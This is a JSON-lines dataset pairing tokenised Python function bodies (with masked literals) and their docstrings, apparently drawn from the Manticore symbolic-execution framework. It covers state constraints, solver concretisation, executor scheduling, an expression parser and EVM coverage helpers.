{"signature": "@property<EOL><INDENT>def descriptor(self):<DEDENT>", "body": "if self._descriptor is None:<EOL><INDENT>self._descriptor = f'<STR_LIT>'<EOL><DEDENT>return self._descriptor<EOL>", "docstring": "Return a descriptor that created this workspace. Descriptors are of the\nformat <type>:<uri>, where type signifies the medium. For example,\n  fs:/tmp/workspace\n  redis:127.0.0.1:6379\n\n:rtype: str", "id": "f16991:c6:m3"}
{"signature": "@contextmanager<EOL><INDENT>def _named_stream(self, name, binary=False):<DEDENT>", "body": "with self._store.save_stream(self._named_key(name), binary=binary) as s:<EOL><INDENT>yield s<EOL><DEDENT>", "docstring": "Create an indexed output stream i.e. 'test_00000001.name'\n\n:param name: Identifier for the stream\n:return: A context-managed stream-like object", "id": "f16991:c6:m7"}
{"signature": "def constrain(self, constraint):", "body": "constraint = self.migrate_expression(constraint)<EOL>self._constraints.add(constraint)<EOL>", "docstring": "Constrain state.\n\n        :param manticore.core.smtlib.Bool constraint: Constraint to add", "id": "f16992:c5:m11"}
{"signature": "def abandon(self):", "body": "raise AbandonState<EOL>", "docstring": "Abandon the currently-active state.\n\n        Note: This must be called from the Executor loop, or a :func:`~manticore.Manticore.hook`.", "id": "f16992:c5:m12"}
{"signature": "def new_symbolic_buffer(self, nbytes, **options):", "body": "label = options.get('<STR_LIT:label>')<EOL>avoid_collisions = False<EOL>if label is None:<EOL><INDENT>label = '<STR_LIT>'<EOL>avoid_collisions = True<EOL><DEDENT>taint = options.get('<STR_LIT>', frozenset())<EOL>expr = self._constraints.new_array(name=label, index_max=nbytes, value_bits=<NUM_LIT:8>, taint=taint, avoid_collisions=avoid_collisions)<EOL>self._input_symbols.append(expr)<EOL>if options.get('<STR_LIT>', False):<EOL><INDENT>for i in range(nbytes - <NUM_LIT:1>):<EOL><INDENT>self._constraints.add(expr[i] != <NUM_LIT:0>)<EOL><DEDENT><DEDENT>return expr<EOL>", "docstring": "Create and return a symbolic buffer of length `nbytes`. The buffer is\n        not written into State's memory; write it to the state's memory to\n        introduce it into the program state.\n\n        :param int nbytes: Length of the new buffer\n        :param str label: (keyword arg only) The label to assign to the buffer\n        :param bool cstring: (keyword arg only) Whether or not to enforce that the buffer is a cstring\n                 (i.e. no NULL bytes, except for the last byte). (bool)\n        :param taint: Taint identifier of the new buffer\n        :type taint: tuple or frozenset\n\n        :return: :class:`~manticore.core.smtlib.expression.Expression` representing the buffer.", "id": "f16992:c5:m13"}
{"signature": "def new_symbolic_value(self, nbits, label=None, taint=frozenset()):", "body": "assert nbits in (<NUM_LIT:1>, <NUM_LIT:4>, <NUM_LIT:8>, <NUM_LIT:16>, <NUM_LIT:32>, <NUM_LIT:64>, <NUM_LIT>, <NUM_LIT>)<EOL>avoid_collisions = False<EOL>if label is None:<EOL><INDENT>label = '<STR_LIT>'<EOL>avoid_collisions = True<EOL><DEDENT>expr = self._constraints.new_bitvec(nbits, name=label, taint=taint, avoid_collisions=avoid_collisions)<EOL>self._input_symbols.append(expr)<EOL>return expr<EOL>", "docstring": "Create and return a symbolic value that is `nbits` bits wide. Assign\n        the value to a register or write it into the address space to introduce\n        it into the program state.\n\n        :param int nbits: The bitwidth of the value returned\n        :param str label: The label to assign to the value\n        :param taint: Taint identifier of this value\n        :type taint: tuple or frozenset\n        :return: :class:`~manticore.core.smtlib.expression.Expression` representing the value", "id": "f16992:c5:m14"}
{"signature": "def concretize(self, symbolic, policy, maxcount=<NUM_LIT:7>):", "body": "assert self.constraints == self.platform.constraints<EOL>symbolic = self.migrate_expression(symbolic)<EOL>vals = []<EOL>if policy == '<STR_LIT>':<EOL><INDENT>vals = self._solver.minmax(self._constraints, symbolic)<EOL><DEDENT>elif policy == '<STR_LIT>':<EOL><INDENT>vals = self._solver.max(self._constraints, symbolic)<EOL><DEDENT>elif policy == '<STR_LIT>':<EOL><INDENT>vals = self._solver.min(self._constraints, symbolic)<EOL><DEDENT>elif policy == '<STR_LIT>':<EOL><INDENT>m, M = self._solver.minmax(self._constraints, symbolic)<EOL>vals += [m, M]<EOL>if M - m > <NUM_LIT:3>:<EOL><INDENT>if self._solver.can_be_true(self._constraints, symbolic == (m + M) // <NUM_LIT:2>):<EOL><INDENT>vals.append((m + M) // <NUM_LIT:2>)<EOL><DEDENT><DEDENT>if M - m > <NUM_LIT:100>:<EOL><INDENT>for i in (<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:5>, <NUM_LIT:32>, <NUM_LIT:64>, <NUM_LIT>, <NUM_LIT>):<EOL><INDENT>if self._solver.can_be_true(self._constraints, symbolic == m + i):<EOL><INDENT>vals.append(m + i)<EOL><DEDENT>if maxcount <= len(vals):<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>if M - m > <NUM_LIT:1000> and maxcount > len(vals):<EOL><INDENT>vals += self._solver.get_all_values(self._constraints, symbolic,<EOL>maxcnt=maxcount - len(vals), silent=True)<EOL><DEDENT><DEDENT>elif policy == '<STR_LIT>':<EOL><INDENT>vals = [self._solver.get_value(self._constraints, symbolic)]<EOL><DEDENT>else:<EOL><INDENT>assert policy == '<STR_LIT>'<EOL>vals = solver.get_all_values(self._constraints, symbolic, maxcnt=maxcount, silent=True)<EOL><DEDENT>return tuple(set(vals))<EOL>", "docstring": "This finds a set of solutions for symbolic using policy.\n            This raises TooManySolutions if more solutions than maxcount", "id": "f16992:c5:m15"}
{"signature": "def solve_one(self, expr, constrain=False):", "body": "expr = self.migrate_expression(expr)<EOL>value = self._solver.get_value(self._constraints, expr)<EOL>if constrain:<EOL><INDENT>self.constrain(expr == value)<EOL><DEDENT>if isinstance(value, bytearray):<EOL><INDENT>value = bytes(value)<EOL><DEDENT>return value<EOL>", "docstring": "Concretize a symbolic :class:`~manticore.core.smtlib.expression.Expression` into\none solution.\n\n:param manticore.core.smtlib.Expression expr: Symbolic value to concretize\n:param bool constrain: If True, constrain expr to concretized value\n:return: Concrete value\n:rtype: int", "id": "f16992:c5:m21"}
{"signature": "def solve_n(self, expr, nsolves):", "body": "expr = self.migrate_expression(expr)<EOL>return self._solver.get_all_values(self._constraints, expr, nsolves, silent=True)<EOL>", "docstring": "Concretize a symbolic :class:`~manticore.core.smtlib.expression.Expression` into\n`nsolves` solutions.\n\n:param manticore.core.smtlib.Expression expr: Symbolic value to concretize\n:return: Concrete value\n:rtype: list[int]", "id": "f16992:c5:m22"}
{"signature": "def solve_max(self, expr):", "body": "if isinstance(expr, int):<EOL><INDENT>return expr<EOL><DEDENT>expr = self.migrate_expression(expr)<EOL>return self._solver.max(self._constraints, expr)<EOL>", "docstring": "Solves a symbolic :class:`~manticore.core.smtlib.expression.Expression` into\nits maximum solution\n\n:param manticore.core.smtlib.Expression expr: Symbolic value to solve\n:return: Concrete value\n:rtype: list[int]", "id": "f16992:c5:m23"}
{"signature": "def solve_min(self, expr):", "body": "if isinstance(expr, int):<EOL><INDENT>return expr<EOL><DEDENT>expr = self.migrate_expression(expr)<EOL>return self._solver.min(self._constraints, expr)<EOL>", "docstring": "Solves a symbolic :class:`~manticore.core.smtlib.expression.Expression` into\nits minimum solution\n\n:param manticore.core.smtlib.Expression expr: Symbolic value to solve\n:return: Concrete value\n:rtype: list[int]", "id": "f16992:c5:m24"}
{"signature": "def solve_minmax(self, expr):", "body": "if isinstance(expr, int):<EOL><INDENT>return expr<EOL><DEDENT>expr = self.migrate_expression(expr)<EOL>return self._solver.minmax(self._constraints, expr)<EOL>", "docstring": "Solves a symbolic :class:`~manticore.core.smtlib.expression.Expression` into\nits minimum and maximun solution. Only defined for bitvects.\n\n:param manticore.core.smtlib.Expression expr: Symbolic value to solve\n:return: Concrete value\n:rtype: list[int]", "id": "f16992:c5:m25"}
{"signature": "def solve_buffer(self, addr, nbytes, constrain=False):", "body": "buffer = self.cpu.read_bytes(addr, nbytes)<EOL>result = []<EOL>with self._constraints as temp_cs:<EOL><INDENT>cs_to_use = self.constraints if constrain else temp_cs<EOL>for c in buffer:<EOL><INDENT>result.append(self._solver.get_value(cs_to_use, c))<EOL>cs_to_use.add(c == result[-<NUM_LIT:1>])<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Reads `nbytes` of symbolic data from a buffer in memory at `addr` and attempts to\nconcretize it\n\n:param int address: Address of buffer to concretize\n:param int nbytes: Size of buffer to concretize\n:param bool constrain: If True, constrain the buffer to the concretized value\n:return: Concrete contents of buffer\n:rtype: list[int]", "id": "f16992:c5:m26"}
{"signature": "def symbolicate_buffer(self, data, label='<STR_LIT>', wildcard='<STR_LIT:+>', string=False, taint=frozenset()):", "body": "if wildcard in data:<EOL><INDENT>size = len(data)<EOL>symb = self._constraints.new_array(name=label, index_max=size, taint=taint, avoid_collisions=True)<EOL>self._input_symbols.append(symb)<EOL>tmp = []<EOL>for i in range(size):<EOL><INDENT>if data[i] == wildcard:<EOL><INDENT>tmp.append(symb[i])<EOL><DEDENT>else:<EOL><INDENT>tmp.append(data[i])<EOL><DEDENT><DEDENT>data = tmp<EOL><DEDENT>if string:<EOL><INDENT>for b in data:<EOL><INDENT>if issymbolic(b):<EOL><INDENT>self._constraints.add(b != <NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>assert b != <NUM_LIT:0><EOL><DEDENT><DEDENT><DEDENT>return data<EOL>", "docstring": "Mark parts of a buffer as symbolic (demarked by the wildcard byte)\n\n        :param str data: The string to symbolicate. If no wildcard bytes are provided,\n                this is the identity function on the first argument.\n        :param str label: The label to assign to the value\n        :param str wildcard: The byte that is considered a wildcard\n        :param bool string: Ensure bytes returned can not be NULL\n        :param taint: Taint identifier of the symbolicated data\n        :type taint: tuple or frozenset\n\n        :return: If data does not contain any wildcard bytes, data itself. Otherwise,\n            a list of values derived from data. Non-wildcard bytes are kept as\n            is, wildcard bytes are replaced by Expression objects.", "id": "f16992:c5:m27"}
{"signature": "def _dict_diff(d1, d2):", "body": "d = {}<EOL>for key in set(d1).intersection(set(d2)):<EOL><INDENT>if d2[key] != d1[key]:<EOL><INDENT>d[key] = d2[key]<EOL><DEDENT><DEDENT>for key in set(d2).difference(set(d1)):<EOL><INDENT>d[key] = d2[key]<EOL><DEDENT>return d<EOL>", "docstring": "Produce a dict that includes all the keys in d2 that represent different values in d1, as well as values that\naren't in d1.\n\n:param dict d1: First dict\n:param dict d2: Dict to compare with\n:rtype: dict", "id": "f16993:m0"}
{"signature": "@contextmanager<EOL><INDENT>def locked_context(self, key=None, value_type=list):<DEDENT>", "body": "plugin_context_name = str(type(self))<EOL>with self.manticore.locked_context(plugin_context_name, dict) as context:<EOL><INDENT>assert value_type in (list, dict, set)<EOL>ctx = context.get(key, value_type())<EOL>yield ctx<EOL>context[key] = ctx<EOL><DEDENT>", "docstring": "A context manager that provides safe parallel access to the global Manticore context.\nThis should be used to access the global Manticore context\nwhen parallel analysis is activated. Code within the `with` block is executed\natomically, so access of shared variables should occur within.", "id": "f16993:c0:m1"}
{"signature": "@property<EOL><INDENT>def context(self):<DEDENT>", "body": "plugin_context_name = str(type(self))<EOL>if plugin_context_name not in self.manticore.context:<EOL><INDENT>self.manticore.context[plugin_context_name] = {}<EOL><DEDENT>return self.manticore.context[plugin_context_name]<EOL>", "docstring": "Convenient access to shared context", "id": "f16993:c0:m2"}
{"signature": "def on_register(self):", "body": "pass<EOL>", "docstring": "Called by parent manticore on registration", "id": "f16993:c0:m3"}
{"signature": "def on_unregister(self):", "body": "pass<EOL>", "docstring": "Called be parent manticore on un-registration", "id": "f16993:c0:m4"}
{"signature": "def __init__(self):", "body": "super().__init__()<EOL>self.last_dict = {}<EOL>self.current_pc = None<EOL>self.context_key = '<STR_LIT>'<EOL>", "docstring": "Record a detailed execution trace", "id": "f16993:c2:m0"}
{"signature": "def will_start_run_callback(self, state):", "body": "logger.info('<STR_LIT>')<EOL>", "docstring": "Called once at the beginning of the run.\n            state is the initial root state", "id": "f16993:c7:m5"}
{"signature": "def sync(f):", "body": "def newFunction(self, *args, **kw):<EOL><INDENT>self._lock.acquire()<EOL>try:<EOL><INDENT>return f(self, *args, **kw)<EOL><DEDENT>finally:<EOL><INDENT>self._lock.release()<EOL><DEDENT><DEDENT>return newFunction<EOL>", "docstring": "Synchronization decorator.", "id": "f16994:m1"}
{"signature": "@contextmanager<EOL><INDENT>def locked_context(self, key=None, default=dict):<DEDENT>", "body": "keys = ['<STR_LIT>']<EOL>if key is not None:<EOL><INDENT>keys.append(key)<EOL><DEDENT>with self._executor.locked_context('<STR_LIT:.>'.join(keys), default) as policy_context:<EOL><INDENT>yield policy_context<EOL><DEDENT>", "docstring": "Policy shared context dictionary", "id": "f16994:c0:m1"}
{"signature": "def _add_state_callback(self, state_id, state):", "body": "summary = self.summarize(state)<EOL>if summary is None:<EOL><INDENT>return<EOL><DEDENT>with self.locked_context('<STR_LIT>', dict) as ctx:<EOL><INDENT>ctx[state_id] = summary<EOL><DEDENT>", "docstring": "Save summarize(state) on policy shared context before\n            the state is stored", "id": "f16994:c0:m2"}
{"signature": "def summarize(self, state):", "body": "return None<EOL>", "docstring": "Extract the relevant information from a state for later\nprioritization", "id": "f16994:c0:m3"}
{"signature": "def choice(self, state_ids):", "body": "raise NotImplementedError<EOL>", "docstring": "Select a state id from state_ids.\n            self.context has a dict mapping state_ids -> summarize(state)", "id": "f16994:c0:m4"}
{"signature": "def _visited_callback(self, state, pc, instr):", "body": "with self.locked_context('<STR_LIT>', set) as ctx:<EOL><INDENT>ctx.add(pc)<EOL><DEDENT>", "docstring": "Maintain our own copy of the visited set", "id": "f16994:c2:m2"}
{"signature": "def summarize(self, state):", "body": "return state.platform.PC<EOL>", "docstring": "Save the last pc before storing the state", "id": "f16994:c2:m3"}
{"signature": "def _visited_callback(self, state, pc, instr):", "body": "pc = state.platform.current.PC<EOL>with self.locked_context('<STR_LIT>', dict) as ctx:<EOL><INDENT>ctx[pc] = ctx.get(pc, <NUM_LIT:0>) + <NUM_LIT:1><EOL><DEDENT>", "docstring": "Maintain our own copy of the visited set", "id": "f16994:c3:m2"}
{"signature": "@contextmanager<EOL><INDENT>def locked_context(self, key=None, default=dict):<DEDENT>", "body": "assert default in (list, dict, set)<EOL>with self._lock:<EOL><INDENT>if key is None:<EOL><INDENT>yield self._shared_context<EOL><DEDENT>else:<EOL><INDENT>sub_context = self._shared_context.get(key, None)<EOL>if sub_context is None:<EOL><INDENT>sub_context = default()<EOL><DEDENT>yield sub_context<EOL>self._shared_context[key] = sub_context<EOL><DEDENT><DEDENT>", "docstring": "Executor context is a shared memory object. All workers share this.\n            It needs a lock. Its used like this:\n\n            with executor.context() as context:\n                visited = context['visited']\n                visited.append(state.cpu.PC)\n                context['visited'] = visited", "id": "f16994:c4:m2"}
{"signature": "def _register_state_callbacks(self, state, state_id):", "body": "<EOL>self.forward_events_from(state, True)<EOL>", "docstring": "Install forwarding callbacks in state so the events can go up.\nGoing up, we prepend state in the arguments.", "id": "f16994:c4:m3"}
{"signature": "def enqueue(self, state):", "body": "<EOL>state_id = self._workspace.save_state(state)<EOL>self.put(state_id)<EOL>self._publish('<STR_LIT>', state_id, state)<EOL>return state_id<EOL>", "docstring": "Enqueue state.\nSave state on storage, assigns an id to it, then add it to the\npriority queue", "id": "f16994:c4:m4"}
{"signature": "@property<EOL><INDENT>def running(self):<DEDENT>", "body": "return self._running.value<EOL>", "docstring": "Report an estimate  of how many workers are currently running", "id": "f16994:c4:m8"}
{"signature": "def shutdown(self):", "body": "self._shutdown.set()<EOL>", "docstring": "This will stop all workers", "id": "f16994:c4:m9"}
{"signature": "def is_shutdown(self):", "body": "return self._shutdown.is_set()<EOL>", "docstring": "Returns True if shutdown was requested", "id": "f16994:c4:m10"}
{"signature": "@sync<EOL><INDENT>def put(self, state_id):<DEDENT>", "body": "self._states.append(state_id)<EOL>self._lock.notify_all()<EOL>return state_id<EOL>", "docstring": "Enqueue it for processing", "id": "f16994:c4:m11"}
{"signature": "@sync<EOL><INDENT>def get(self):<DEDENT>", "body": "<EOL>if self.is_shutdown():<EOL><INDENT>return None<EOL><DEDENT>while len(self._states) == <NUM_LIT:0>:<EOL><INDENT>if self.running == <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>if self.is_shutdown():<EOL><INDENT>return None<EOL><DEDENT>logger.debug(\"<STR_LIT>\")<EOL>self._lock.wait()<EOL><DEDENT>state_id = self._policy.choice(list(self._states))<EOL>if state_id is None:<EOL><INDENT>return None<EOL><DEDENT>del self._states[self._states.index(state_id)]<EOL>return state_id<EOL>", "docstring": "Dequeue a state with the max priority", "id": "f16994:c4:m12"}
{"signature": "def list(self):", "body": "return list(self._states)<EOL>", "docstring": "Returns the list of states ids currently queued", "id": "f16994:c4:m13"}
{"signature": "def fork(self, state, expression, policy='<STR_LIT>', setstate=None):", "body": "assert isinstance(expression, Expression)<EOL>if setstate is None:<EOL><INDENT>setstate = lambda x, y: None<EOL><DEDENT>solutions = state.concretize(expression, policy)<EOL>if not solutions:<EOL><INDENT>raise ExecutorError(\"<STR_LIT>\")<EOL><DEDENT>if len(solutions) == <NUM_LIT:1>:<EOL><INDENT>setstate(state, solutions[<NUM_LIT:0>])<EOL>return state<EOL><DEDENT>logger.info(\"<STR_LIT>\",<EOL>policy,<EOL>'<STR_LIT:U+002CU+0020>'.join(f'<STR_LIT>' for sol in solutions))<EOL>self._publish('<STR_LIT>', state, expression, solutions, policy)<EOL>children = []<EOL>for new_value in solutions:<EOL><INDENT>with state as new_state:<EOL><INDENT>new_state.constrain(expression == new_value)<EOL>setstate(new_state, new_value)<EOL>self._publish('<STR_LIT>', new_state, expression, new_value, policy)<EOL>state_id = self.enqueue(new_state)<EOL>children.append(state_id)<EOL><DEDENT><DEDENT>logger.info(\"<STR_LIT>\", children)<EOL>return None<EOL>", "docstring": "Fork state on expression concretizations.\nUsing policy build a list of solutions for expression.\nFor the state on each solution setting the new state with setstate\n\nFor example if expression is a Bool it may have 2 solutions. True or False.\n\n                         Parent\n                    (expression = ??)\n\n           Child1                         Child2\n    (expression = True)             (expression = True)\n       setstate(True)                   setstate(False)\n\nThe optional setstate() function is supposed to set the concrete value\nin the child state.", "id": "f16994:c4:m14"}
{"signature": "def run(self):", "body": "<EOL>current_state = None<EOL>current_state_id = None<EOL>with WithKeyboardInterruptAs(self.shutdown):<EOL><INDENT>self._notify_start_run()<EOL>logger.debug(\"<STR_LIT>\", os.getpid())<EOL>solver = Z3Solver()<EOL>while not self.is_shutdown():<EOL><INDENT>try:  <EOL><INDENT>try:  <EOL><INDENT>if current_state is None:<EOL><INDENT>with self._lock:<EOL><INDENT>self._notify_stop_run()<EOL>try:<EOL><INDENT>current_state_id = self.get()<EOL>if current_state_id is not None:<EOL><INDENT>self._publish('<STR_LIT>', current_state_id)<EOL>current_state = self._workspace.load_state(current_state_id)<EOL>self.forward_events_from(current_state, True)<EOL>self._publish('<STR_LIT>', current_state, current_state_id)<EOL>logger.info(\"<STR_LIT>\", current_state_id)<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>self._notify_start_run()<EOL><DEDENT><DEDENT><DEDENT>if current_state is None:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>break<EOL><DEDENT>assert current_state is not None<EOL>assert current_state.constraints is current_state.platform.constraints<EOL>while not self.is_shutdown():<EOL><INDENT>if not current_state.execute():<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self._publish('<STR_LIT>', current_state, current_state_id, TerminateState('<STR_LIT>'))<EOL>current_state = None<EOL><DEDENT><DEDENT>except Concretize as e:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>current_state = self.fork(current_state, e.expression, e.policy, e.setstate)<EOL><DEDENT>except TerminateState as e:<EOL><INDENT>self._publish('<STR_LIT>', current_state, current_state_id, e)<EOL>logger.debug(\"<STR_LIT>\")<EOL>if e.testcase:<EOL><INDENT>self._publish('<STR_LIT>', current_state, message=str(e))<EOL><DEDENT>current_state = None<EOL><DEDENT>except SolverError as e:<EOL><INDENT>import traceback<EOL>trace = traceback.format_exc()<EOL>logger.error(\"<STR_LIT>\", str(e), trace)<EOL>self._publish('<STR_LIT>', current_state, current_state_id, e)<EOL>if solver.check(current_state.constraints):<EOL><INDENT>self._publish('<STR_LIT>', current_state, message=\"<STR_LIT>\" + str(e))<EOL><DEDENT>current_state = None<EOL><DEDENT><DEDENT>except (Exception, AssertionError) as e:<EOL><INDENT>import traceback<EOL>trace = traceback.format_exc()<EOL>logger.error(\"<STR_LIT>\", str(e), trace)<EOL>self._publish('<STR_LIT>', current_state, current_state_id, e)<EOL>current_state = None<EOL><DEDENT><DEDENT>assert current_state is None or self.is_shutdown()<EOL>self._notify_stop_run()<EOL><DEDENT>", "docstring": "Entry point of the Executor; called by workers to start analysis.", "id": "f16994:c4:m15"}
{"signature": "def t_TOKEN(t):", "body": "<EOL>if re_TYPE.match(t.value):<EOL><INDENT>t.type = '<STR_LIT>'<EOL><DEDENT>elif re_PTR.match(t.value):<EOL><INDENT>t.type = '<STR_LIT>'<EOL><DEDENT>elif re_NUMBER.match(t.value):<EOL><INDENT>if t.value.startswith('<STR_LIT>'):<EOL><INDENT>t.value = t.value[<NUM_LIT:2>:]<EOL><DEDENT>t.value = int(t.value, <NUM_LIT:16>)<EOL>t.type = '<STR_LIT>'<EOL><DEDENT>elif re_REGISTER.match(t.value):<EOL><INDENT>t.type = '<STR_LIT>'<EOL><DEDENT>elif re_SEGMENT.match(t.value):<EOL><INDENT>t.type = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>raise Exception(f\"<STR_LIT>\")<EOL><DEDENT>return t<EOL>", "docstring": "[a-zA-Z0-9]+", "id": "f16995:m0"}
{"signature": "def t_newline(t):", "body": "t.lexer.lineno += len(t.value)<EOL>", "docstring": "r'\\n+", "id": "f16995:m1"}
{"signature": "def p_expression_div(p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>] // p[<NUM_LIT:3>]<EOL>", "docstring": "expression : expression DIVIDE expression", "id": "f16995:m6"}
{"signature": "def p_expression_mul(p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>] * p[<NUM_LIT:3>]<EOL>", "docstring": "expression : expression TIMES expression", "id": "f16995:m7"}
{"signature": "def p_expression_plus(p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>] + p[<NUM_LIT:3>]<EOL>", "docstring": "expression : expression PLUS expression", "id": "f16995:m8"}
{"signature": "def p_expression_minus(p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>] - p[<NUM_LIT:3>]<EOL>", "docstring": "expression : expression MINUS expression", "id": "f16995:m9"}
{"signature": "def p_expression_and(p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>] & p[<NUM_LIT:3>]<EOL>", "docstring": "expression : expression AND expression", "id": "f16995:m10"}
{"signature": "def p_expression_or(p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>] | p[<NUM_LIT:3>]<EOL>", "docstring": "expression : expression OR expression", "id": "f16995:m11"}
{"signature": "def p_expression_neg(p):", "body": "p[<NUM_LIT:0>] = ~p[<NUM_LIT:1>]<EOL>", "docstring": "expression : NEG expression", "id": "f16995:m12"}
{"signature": "def p_expression_lshift(p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>] << p[<NUM_LIT:3>]<EOL>", "docstring": "expression : expression LSHIFT expression", "id": "f16995:m13"}
{"signature": "def p_expression_rshift(p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>] >> p[<NUM_LIT:3>]<EOL>", "docstring": "expression : expression RSHIFT expression", "id": "f16995:m14"}
{"signature": "def p_expression_deref(p):", "body": "size = sizes[p[<NUM_LIT:1>]]<EOL>address = p[<NUM_LIT:4>]<EOL>char_list = functions['<STR_LIT>'](address, size)<EOL>value = Operators.CONCAT(<NUM_LIT:8> * len(char_list), *reversed(map(Operators.ORD, char_list)))<EOL>p[<NUM_LIT:0>] = value<EOL>", "docstring": "expression : TYPE PTR LBRAKET expression RBRAKET", "id": "f16995:m15"}
{"signature": "def p_expression_derefseg(p):", "body": "size = sizes[p[<NUM_LIT:1>]]<EOL>address = p[<NUM_LIT:6>]<EOL>seg = functions['<STR_LIT>'](p[<NUM_LIT:3>])<EOL>base, limit, _ = functions['<STR_LIT>'](seg)<EOL>address = base + address<EOL>char_list = functions['<STR_LIT>'](address, size)<EOL>value = Operators.CONCAT(<NUM_LIT:8> * len(char_list), *reversed(map(Operators.ORD, char_list)))<EOL>p[<NUM_LIT:0>] = value<EOL>", "docstring": "expression : TYPE PTR SEGMENT COLOM LBRAKET expression RBRAKET", "id": "f16995:m16"}
{"signature": "def p_expression_term(p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "expression : term", "id": "f16995:m17"}
{"signature": "def p_factor_expr(p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:2>]<EOL>", "docstring": "expression : LPAREN expression RPAREN", "id": "f16995:m18"}
{"signature": "def p_term_num(p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "term : NUMBER", "id": "f16995:m19"}
{"signature": "def p_term_reg(p):", "body": "p[<NUM_LIT:0>] = functions['<STR_LIT>'](p[<NUM_LIT:1>])<EOL>", "docstring": "term : REGISTER", "id": "f16995:m20"}
{"signature": "def p_expression_eq(p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>] == p[<NUM_LIT:3>]<EOL>", "docstring": "expression : expression EQ expression", "id": "f16995:m21"}
{"signature": "def p_expression_land(p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>] and p[<NUM_LIT:3>]<EOL>", "docstring": "expression : expression LAND expression", "id": "f16995:m22"}
{"signature": "def p_expression_lor(p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>] or p[<NUM_LIT:3>]<EOL>", "docstring": "expression : expression LOR expression", "id": "f16995:m23"}
{"signature": "def p_expression_lnot(p):", "body": "p[<NUM_LIT:0>] = not p[<NUM_LIT:1>]<EOL>", "docstring": "expression : LNOT expression", "id": "f16995:m24"}
{"signature": "def p_expression_lt(p):", "body": "<EOL>p[<NUM_LIT:0>] = Operators.ULT(p[<NUM_LIT:1>], p[<NUM_LIT:3>])<EOL>", "docstring": "expression : expression LT expression", "id": "f16995:m25"}
{"signature": "def p_expression_le(p):", "body": "<EOL>p[<NUM_LIT:0>] = Operators.ULE(p[<NUM_LIT:1>], p[<NUM_LIT:3>])<EOL>", "docstring": "expression : expression LE expression", "id": "f16995:m26"}
{"signature": "def p_expression_gt(p):", "body": "<EOL>p[<NUM_LIT:0>] = Operators.UGT(p[<NUM_LIT:1>], p[<NUM_LIT:3>])<EOL>", "docstring": "expression : expression GT expression", "id": "f16995:m27"}
{"signature": "def p_expression_ge(p):", "body": "<EOL>p[<NUM_LIT:0>] = Operators.UGE(p[<NUM_LIT:1>], p[<NUM_LIT:3>])<EOL>", "docstring": "expression : expression GE expression", "id": "f16995:m28"}
{"signature": "def main():", "body": "args = parse_arguments()<EOL>if args.no_colors:<EOL><INDENT>log.disable_colors()<EOL><DEDENT>sys.setrecursionlimit(consts.recursionlimit)<EOL>ManticoreBase.verbosity(args.v)<EOL>if args.argv[<NUM_LIT:0>].endswith('<STR_LIT>'):<EOL><INDENT>ethereum_main(args, logger)<EOL><DEDENT>else:<EOL><INDENT>install_helper.ensure_native_deps()<EOL>native_main(args, logger)<EOL><DEDENT>", "docstring": "Dispatches execution into one of Manticore's engines: evm or native.", "id": "f16996:m0"}
{"signature": "def flagged(flag):", "body": "return '<STR_LIT>' if flag else '<STR_LIT>'<EOL>", "docstring": "Return special character denoting concretization happened.", "id": "f16997:m0"}
{"signature": "def write_findings(method, lead_space, address, pc, at_init=\"<STR_LIT>\"):", "body": "method.write(f'<STR_LIT>')<EOL>method.write(f'<STR_LIT>')<EOL>", "docstring": "Writes contract address and EVM program counter indicating whether counter was read at constructor\n:param method: pointer to the object with the write method\n:param lead_space: leading white space\n:param address: contract address\n:param pc: program counter\n:param at_init: Boolean\n:return: pass", "id": "f16997:m1"}
{"signature": "def calculate_coverage(runtime_bytecode, seen):", "body": "count, total = <NUM_LIT:0>, <NUM_LIT:0><EOL>bytecode = SolidityMetadata._without_metadata(runtime_bytecode)<EOL>for i in EVMAsm.disassemble_all(bytecode):<EOL><INDENT>if i.pc in seen:<EOL><INDENT>count += <NUM_LIT:1><EOL><DEDENT>total += <NUM_LIT:1><EOL><DEDENT>if total == <NUM_LIT:0>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>return count * <NUM_LIT> / total<EOL>", "docstring": "Calculates what percentage of runtime_bytecode has been seen", "id": "f16997:m2"}
{"signature": "def make_symbolic_buffer(self, size, name=None, avoid_collisions=False):", "body": "if name is None:<EOL><INDENT>name = '<STR_LIT>'<EOL>avoid_collisions = True<EOL><DEDENT>return self.constraints.new_array(index_bits=<NUM_LIT>, name=name, index_max=size, value_bits=<NUM_LIT:8>, taint=frozenset(), avoid_collisions=avoid_collisions)<EOL>", "docstring": "Creates a symbolic buffer of size bytes to be used in transactions.\n            You can operate on it normally and add constraints to manticore.constraints\n            via manticore.constrain(constraint_expression)\n\n            Example use::\n\n                symbolic_data = m.make_symbolic_buffer(320)\n                m.constrain(symbolic_data[0] == 0x65)\n                m.transaction(caller=attacker_account,\n                                address=contract_account,\n                                data=symbolic_data,\n                                value=100000 )", "id": "f16997:c0:m0"}
